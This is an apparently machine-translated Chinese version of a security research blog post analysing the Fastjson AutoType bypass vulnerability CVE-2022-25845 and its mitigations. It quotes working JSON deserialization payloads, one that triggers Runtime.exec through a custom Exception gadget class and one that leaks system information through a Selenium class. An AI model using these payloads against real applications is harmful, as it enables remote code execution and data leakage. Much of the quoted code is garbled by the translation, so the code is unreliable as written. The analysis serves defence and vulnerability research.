CVE-2022-25845 -分析Fastjson " Auto Type Bypass " RCE漏洞

几周前,新版本的Fastjson(被释放1.2.83),其中包含一个修复安全漏洞据称,这允许攻击者在远程机器上执行代码。根据一些出版物,该漏洞允许攻击者绕过Fastjson中的“AutoTypeCheck”机制,并实现远程代码执行。
此Fastjson漏洞最近才收到一个CVE标识- CVE-2022-25845,以及一个高CVSS - 8.1。尽管如此,这种脆弱性仍然笼罩在神秘之中。尽管它被吹捧为无处不在的组件中的高级别RCE(几乎有5000个Maven项目依赖于Fastjson!),但几乎没有任何关于它的公开技术细节到底谁是脆弱的,在什么情况下?
在这篇博文中,我们将深入研究Fastjson漏洞、其严重性、受其影响的Java应用程序类型,以及针对目前无法升级到固定Fastjson版本的开发人员的缓解策略。
谁受到Fastjson漏洞CVE-2022-25845的影响?
此漏洞影响所有依赖Fastjson版本1.2.80或更早版本的Java应用程序,并将用户控制的数据传递给JSON.parse或JSON.parseObjectapi,而不指定要反序列化的特定类。
一个不详尽的脆弱和安全api示例
尽管这看起来很宽泛,但我们将看到,即使在这些前提条件下,攻击者也只能调用一种特定类型的Java反序列化小工具类扩展的小工具类Throwable类),这严重限制了该漏洞对现实世界的影响。
技术深潜
Fastjson是一个Java包,可以将Java对象与JSON进行序列化和反序列化。
像大多数JSON类一样,Fastjson支持将基本JSON类型(数组和对象)序列化/反序列化为它们的Java等等物——数组和映射(分别)。
然而,Fastjson也可以反序列化用户的Java对象(pojo)和JSON之间的转换。
例如,假设我们有一个已定义的类名为用户;下面的代码将它序列化为JSON,然后反序列化回来:
进口com.alibaba.fastjson.JSON;...公共类App{公共静态void main(String[] args){…String jsonString = JSON.toJSONString(user);用户user2 = JSON。parseObject(jsonString, User.class); } }
JSON.parseObject ()返回一个JSONObject哪个稍后将转换为用户类。
有时,开发人员希望创建更动态的代码,以接受序列化的JSON,该JSON将告诉代码应该将JSON反序列化为哪种类型的类。例如,假设给出了以下JSON:
{"users": [{"@type": "AdminUser", "username": "admin", "password": "21232f297a57a5a743894a0e4a801fc3"}, {"@type": "GuestUser", "username": "guest", "password": ""}]}
Fastjson支持一个称为“AutoType”的特性,当启用该特性时,可以为每个用户条目诱导类型。开发人员只需要调用:
JSONObject obj = JSON。parseObject(jsonString, Feature.SupportAutoType); JSONArray users = (JSONArray)obj.get("users"); // Users[0] is of class type "AdminUser" // Users[1] is of class type "GuestUser"
但是,如果反序列化的JSON是用户控制的,那么在启用AutoType的情况下解析它会导致反序列化安全问题,因为攻击者可以实例化它类路径上可用的任何类,并向其构造函数提供任意参数。这已经被多次证明是可利用的,以及诸如ysoserial存在是为了创建这样的利用向量(Java“小工具”类)。
因此,Fastjson的开发人员选择了默认禁用自动键入,这应该使解析任意JSON数据变得安全。然而,自动输入的机制要复杂得多……
绕过默认禁用的自动类型策略
当JSON.parseObject ()它最终到达的地方是什么DefaultJSONParser.parseObject ()与对象设置为JSONObject而且字段名设置为null。当这个函数遇到“@type”说明符(JSON.DEFAULT_TYPE_KEY)时,它将调用config.checkAutoType:
if (key == JSON.)DEFAULT_TYPE_KEY && !lexer. isenabled (feature . disablespecalkeydetect)) {String typeName = lexer。scanSymbol (symbolTable”);if (lexer.isEnabled(Feature.IgnoreAutoType)){继续;}
最终,使用所有默认标志,代码将到达config.checkAutoType ().在这里,我们可以看到一个被列入黑名单的类列表,因此不能被AutoType机制实例化:
if (expectClass == null) {expectClassFlag = false;} else {long expectHash = TypeUtils.fnv1a_64(expecclass . getname ());if (expectHash == 0x90a25f5baa21529eL || expectHash == 0x2d10a5801b9d6136L || expectHash == 0xaf586a571b302c6bl || expectHash == 0xed007300a7b2227c6l || expectHash == 0x295c4605fd1eaa95L || expectHash == 0x47ef269aadc650b4L || expectHash == 0x6439c4dff712ae8bL || expectHash == 0xe3a8ddba03e69e0dl || expectHash == 0xd734ceb4c3e9d1daL) {expecclassflag == 0x2d8a5801b9b6bb6 | expectHash == 0x47ef269a2dc5283l | expectHash == 0xd985a2dc5283l | expectHash == 0xd734ceb4c3e9d1daL;} else {expectClassFlag = true;}}
以下是在这里被禁止的黑名单课程:
- java . lang . object
- java.io.Serializable
- java.lang.Cloneable
- java.lang.Runnable
- java.lang.AutoCloseable
- java.io.Closeable
- java.lang.Iterable
- java.util.Collection
- java.lang.Readable
- java.util.EventListener
你可以看到更多的黑名单类fastjson-blacklist,一个存储库,它维护添加到Fastjson中的黑名单哈希列表。
最后,代码将尝试找到应该用于反序列化json序列化类的反序列化器:
ObjectDeserializer反序列化= config.getDeserializer(clazz);类deserClass = deserializer.getClass();if (JavaBeanDeserializer.class. isassignablefrom (deserClass) && deserClass != JavaBeanDeserializer.class && deserClass != ThrowableDeserializer.class) {this.setResolveStatus(NONE);} else if (MapDeserializer的反序列化实例){this.setResolveStatus(NONE);}对象obj = deserializer.deserialze(this, clazz, fieldName);
在ParserConfig.getDeserializer()中,我们有一个关键的检查它验证目标类是否在扩展Throwable类:
} else if (Throwable.class.isAssignableFrom(clazz)) {deserializer = new ThrowableDeserializer(this, clazz);
ThrowableDeserializer.deserialize ()处理其余的数据。如果找到“@type”,它将与它进行检查autoTypeCheck ()并正常继续反序列化:
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {if (lexer.token() == JSONToken.LITERAL_STRING) {String exClassName = lexer.stringVal();exClass = parser.getConfig()。checkAutoType (exClassName Throwable.class lexer.getFeatures ());
因此,该漏洞的核心在于Fastjson将愉快地反序列化任意类,只要目标类扩展Throwable类!
在本例中,负责创建反序列化类的函数是createException ()它查找3种不同类型的构造函数—一个没有任何参数,一个有消息参数,一个有消息和原因参数。之后,它将首先尝试调用更复杂的构造函数(causeConstructor,messageConstructor然后defaultConstructor):
private可抛出的createException(字符串消息,可抛出的原因,类)> exClass)抛出异常{构造函数> defaultConstructor = null;构造函数< ?>messageConstructor=null; Constructor> causeConstructor = null; for (Constructor> constructor : exClass.getConstructors()) { Class>[] types = constructor.getParameterTypes(); if (types.length == 0) { defaultConstructor = constructor; continue; } if (types.length == 1 && types[0] == String.class) { messageConstructor = constructor; continue; } if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) { causeConstructor = constructor; continue; } } if (causeConstructor != null) { return (Throwable) causeConstructor.newInstance(message, cause); } if (messageConstructor != null) { return (Throwable) messageConstructor.newInstance(message); } if (defaultConstructor != null) { return (Throwable) defaultConstructor.newInstance(); }
作为类实例化的一部分,还将为每个相关成员调用setter:
if (otherValues != null) {JavaBeanDeserializer exBeanDeser = null;if (exClass != null) {if (exClass == clazz) {exBeanDeser = this;} else {ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);if (exDeser instanceof JavaBeanDeserializer) {exbeandesier = (JavaBeanDeserializer) exDeser;}}} if (exBeanDeser != null) {for(映射。条目条目:otherValues.entrySet()){字符串键= Entry . getkey ();对象值= entry.getValue();FieldDeserializer = exBeanDeser.getFieldDeserializer(键);if (fieldDeserializer != null) {FieldInfo FieldInfo = fieldDeserializer. FieldInfo;if (!fieldInfo.fieldClass.isInstance(value)) {value = TypeUtils. if (!(价值,fieldInfo。fieldType, parser.getConfig()); } fieldDeserializer.setValue(ex, value); } } } }
CVE-2022-25845如何被利用?
在了解了上述AutoType机制中的“漏洞”之后,让我们检查一个已发布的exploit的现实可行性,该exploit据称可以实现远程代码执行。
一个由YoungBear发布的漏洞通过提供这个JSON运行一个任意的操作系统命令:
{:“@type . lang。异常”、“@type com.example.fastjson.poc20220523“:”。Poc20220523", "name": "calc"}
该漏洞依赖于Java应用程序中定义的以下异常派生类:
包com.example.fastjson.poc20220523;进口java.io.IOException;/** * @author youngbear * @email youngbear@aliyun.com * @date 2022/5/29 8:28 * @blog https://blog.csdn.net/next_second * @github https://github.com/YoungBear * @description POC类:需要代码中有该类*/ public class Poc20220523 extends Exception {public void setName(String str) {try {Runtime.getRuntime().exec(str);} catch (IOException e) {e. printstacktrace ();}}}
在反序列化上面的JSON摘录时,Poc20220523类被创建,并且提供的名字参数通过自动setter赋值。
如所示,这将最终调用恶意的setName ()setter函数str=“钙”:
public void setName(String str) {try {Runtime.getRuntime().exec(str);} catch (IOException e) {e. printstacktrace ();}}
这将运行有效负载(打开Windows计算器):

这个漏洞显然只是一个演示,因为任何合理的Java应用程序都不会包含类似于的异常派生类Poc20220523,它根据一个外部参数立即运行shell命令。
当务之急是-是否有任何知名的Java“小工具”类可以被滥用为该漏洞的一部分?也就是说,派生为Exception/Throwable的类,并包含可能造成实际安全影响的相关构造函数或setter方法?
目前,单个兼容的小工具类(来自硒包)发表在这里这将导致非常低影响的数据泄漏:
{" x ":{:“@type . lang。异常”、“@type org.openqa.selenium“:”。WebDriverException"}, "y":{"$ref":"$x. "systemInformation "}}
反序列化这个JSON将最终创建一个HashMap,其中“y”设置为机器的一些基本信息:
"系统信息:host: ", ip: ", os.name: ", os.name: "。拱:”,操作系统。版本:“,java。版本:“”
根据应用程序的不同,这些信息最终可能被存储或发送给攻击者(例如,如果它被写入远程访问日志)。
在查阅了其他众所周知的资料后,例如ysoserial在实际场景中,我们没有找到任何可以导致远程代码执行的小工具类。因此,希望在现实世界中利用此漏洞的攻击者将需要对被攻击的Java应用程序进行深入研究,以找到一个自定义Java“gadget”类(加载在类路径中),它扩展了Exception/Throwable,并包含了可用于获得特权、泄漏数据甚至运行任意代码的相关方法。
综上所述,我们评估目前该漏洞似乎不构成高威胁。尽管存在公共PoC漏洞,潜在影响非常高(远程代码执行),但攻击的条件并不简单(将不受信任的输入传递给特定的易受攻击的api),最重要的是—有针对性的研究需要找到一个合适的小工具类来利用(由于其不太可能的属性,它可能根本不存在)。
如何修复CVE-2022-25845 ?
为了完全修复CVE-2022-25845,我们建议升级Fastjson到最新版本,目前是1.2.83。
如何减轻CVE-2022-25845 ?
启用Fastjson的“安全模式”可以缓解这个漏洞。
安全模式可以通过以下任何一种方式启用-
- 通过代码,
ParserConfig.getGlobalInstance () .setSafeMode(真正的); - 通过JVM启动参数-
-Dfastjson.parser.safeMode = true - 通过Fastjson的属性文件-
fastjson.parser.safeMode = true
JFrog平台易受Fastjson漏洞攻击吗?
在进行了全面的内部检查后,我们得出的结论是JFrog DevOps平台不容易受到这个最新的Fastjson漏洞的攻击。
保持最新的JFrog安全研究
在我们的JFrog安全研究团队中跟踪最新的发现和技术更新安全研究博客文章在推特上@JFrogSecurity.
用JFrog Xray查找脆弱版本
除了暴露新的安全漏洞和威胁之外,JFrog还通过自动安全扫描为开发人员和安全团队提供了方便地访问其软件最新相关信息的途径JFrog Xray SCA工具.
JFrog Xray执行自动化语境分析的cve,加快了解决生产中实际可利用的漏洞的时间。JFrog的上下文分析引擎可以检测到向易受此问题影响的api传递非常量输入的Java二进制构件(解析而且parseObject),并通过第二个参数验证api没有将反序列化限制为特定的类。



